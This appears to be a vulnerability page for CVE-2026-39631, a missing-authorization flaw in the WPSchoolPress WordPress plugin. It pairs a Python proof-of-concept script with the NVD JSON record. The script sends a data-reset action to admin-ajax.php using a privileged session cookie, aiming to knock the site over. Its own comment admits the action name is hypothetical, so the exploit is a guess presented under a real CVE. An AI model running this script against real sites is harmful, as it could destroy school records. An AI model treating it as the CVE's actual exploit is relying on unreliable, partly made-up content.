CVE-2026-39631

import requests # PoC for CVE-2026-39631: Missing Authorization in WPSchoolPress # This script demonstrates the exploitation of a broken access control vulnerability. # Note: Authentication as a high-privileged user (PR:H) is required. target_url = "http://example.com/wp-admin/admin-ajax.php" # Simulate a logged-in high-privilege user session cookies = { "wordpress_logged_in_hash": "session_cookie_value" } # The payload targets the vulnerable action missing authorization checks. # The action name is hypothetical based on the vulnerability type. payload = { "action": "wpschoolpress_reset_data", "confirm": "1" } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check system availability to confirm impact.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-39631", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:33.610", "lastModified": "2026-04-29T10:17:33.713", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Ronik@UnlimitedWP WPSchoolPress wpschoolpress allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WPSchoolPress: from n/a through <= 2.2.35."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpschoolpress/vulnerability/wordpress-wpschoolpress-plugin-2-2-35-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}